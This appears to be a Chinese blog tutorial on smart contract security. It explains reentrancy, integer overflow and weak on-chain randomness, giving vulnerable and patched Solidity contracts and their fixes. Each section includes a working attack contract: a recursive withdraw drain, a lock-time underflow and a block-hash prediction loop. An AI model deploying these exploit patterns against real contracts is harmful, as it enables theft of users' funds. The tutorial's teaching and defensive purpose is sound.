• 智能合约安全漏洞与解决方案


    // SPDX-License-Identifier: MIT
    pragma solidity ^0.7.0;
    
    import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";
    
    /*
       智能合约安全
       在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改
    
       重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
       重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断
      
       解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件
       解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
    */
    contract EtherStore {
        mapping(address => uint) public balances;
    
        // 定义重入锁变量
        bool internal locked;
        // 定义重入锁修改器
        modifier noReentrant() {
            require(!locked, "No re-entrancy");
            locked = true;
            _;
            locked = false;
        }
    
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdraw(uint _amount) public noReentrant {
            require(balances[msg.sender] >= _amount);
            (bool sent, ) = msg.sender.call{value: _amount}("");
            require(sent, "Failed to send Ether");
            balances[msg.sender] -= _amount;
        }
    
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }
    
    // 攻击合约
    contract Attack {
    
        EtherStore public etherStore;
    
        constructor(address _etherStoreAddress) {
            etherStore = EtherStore(_etherStoreAddress);
        }
    
        // 回退函数
        fallback() external payable {
            // 为了避免死循环,加判断
            if (address(etherStore).balance >= 1 ether) {
                // 提现
                etherStore.withdraw(1 ether);
            }
        }
    
        function attack() external payable {
            require(msg.value >= 1 ether);
            // 存款
            etherStore.deposit{value: 1 ether}();
            // 提现
            etherStore.withdraw(1 ether);
        }
    
        function getBalacne() public view returns (uint) {
            return address(this).balance;
        }
    
        // 接收攻击获得的Eth
        //receive() external payable {}
    }
    
    
    /*
      整数溢出漏洞
      uint = uint256  取值范围:0 - 2**256-1  
      数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。
      数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字
    
      示例,定义时间锁合约
    */
    contract TimeLock {
        // 使用openzepplin的安全库 uint myUint;  myUint.add(123);
        using SafeMath for uint;
    
        // 账本
        mapping(address => uint) public balances;
        // 提现锁定期,到期可提现
        mapping(address => uint) public lockTime;
    
        function deposit() external payable {
            // 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法
            balances[msg.sender] += msg.value;
            lockTime[msg.sender] = block.timestamp + 1 weeks;
        }
    
        // 增加锁定时间 这个加法有可能产生数学溢出
        function increaseLockTime(uint _secondsToIncrease) public {
            //lockTime[msg.sender] += _secondsToIncrease;
            // 使用安全库,防止数学溢出 加完会验证结果是否比原来更大
            lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
        }
    
        function withdraw() public {
            // 判断用户余额
            require(balances[msg.sender] >0, "Insufficient funds");
            // 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法
            require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
            uint amount = balances[msg.sender];
            balances[msg.sender] = 0;
            (bool sent, ) = msg.sender.call{value: amount}("");
            require(sent, "Failed to send Ether");
        }
    }
    
    // 用于验收数字溢出漏洞,该合约无其他意义
    contract TimeLockAccack {
        TimeLock timeLock;
    
        constructor(TimeLock _timeLock) {
            timeLock = TimeLock(_timeLock);
        }
    
        fallback() external payable {}
    
        function attack() public payable {
            // 向TimeLock存款,同时该方法会记录存款到期时间,默认一周
            timeLock.deposit{value: msg.value}();
    
            // 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()
            // 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间
            // 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0
            // x = -t  调用这个方法,实际会把取款时间改为0
            timeLock.increaseLockTime(
                uint(-timeLock.lockTime(address(this)))
            );
            // 提现
            timeLock.withdraw();
        }
    }

    使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

    不安全写法:lockTime[msg.sender] += _secondsToIncrease;

    安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

    整数溢出真实案例:

    2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

    BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金融输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

    随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
    解决方案:使用安全的随机数源,第三方api或预言机获取随机数

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    /*
      随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖
      生产真实案例,如EOS伪随机数漏洞
    */
    contract Random {
        // 生产随机数确定是否中奖,如果中奖则转账给中奖者
        function guess() public payable {
            // 获取随机数,确定是否中奖
            bool result = _getRandom();
            if(result){
                // 中奖,获得1个eth奖励
                bool ok = payable(msg.sender).send(1 ether);
                if(!ok){
    
                }
            }
        }
        // 获取随机数函数,并确定是否中奖
        function _getRandom() private view returns(bool){
            uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
            if(random%2==0){
                return false;
            }
            return true;
        }
        // 查看奖池余额
        function getBalance() external view returns(uint256){
            return address(this).balance;
        }
        // 设置部署时转入ETH
        constructor() payable{}
        // 允许接收ETH
        receive() external payable{}
    }
    
    // 攻击者合约
    contract Attack {
        event Log(string);
    
        function attack(address _random) external payable {
            for(;;){
                // 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回
                if(payable(_random).balance < 1){
                    emit Log("succes getting eth");
                    return;
                }
                // 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
                // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
                if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
                    emit Log("failed to get rand,wait 10 seconds");
                    return;
                }
                emit Log("start accack!!!");
                // 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励
                (bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
                if(!ok){
                    emit Log("failed to call guess()");
                    return;
                }
            }
        }
    
        // 查看余额
        function getBalance() external view returns(uint256){
            return address(this).balance;
        }
    
        // 接收攻击获得的Eth
        receive() external payable {}
    }

  • 相关阅读:
    每天5分钟玩转Kubernetes | 先把Kubernetes跑起来
    conda环境里安装ffmpeg
    Derby数据库
    linux 压缩webfile文件夹 webfile.tar.gz和webfile.tar的区别
    第4章SpringBoot ⽇志
    Java并发编程系列32:线程池shutdown()和exs.isTerminated()结合使用
    啃完这35个Java技术栈,冲刺年薪百万
    JAVA原理
    mysql的mvcc详解
    【Matplotlib绘制图像大全】(十四):双重堆积条形柱状图
  • 原文地址:https://blog.csdn.net/yz2015/article/details/134559263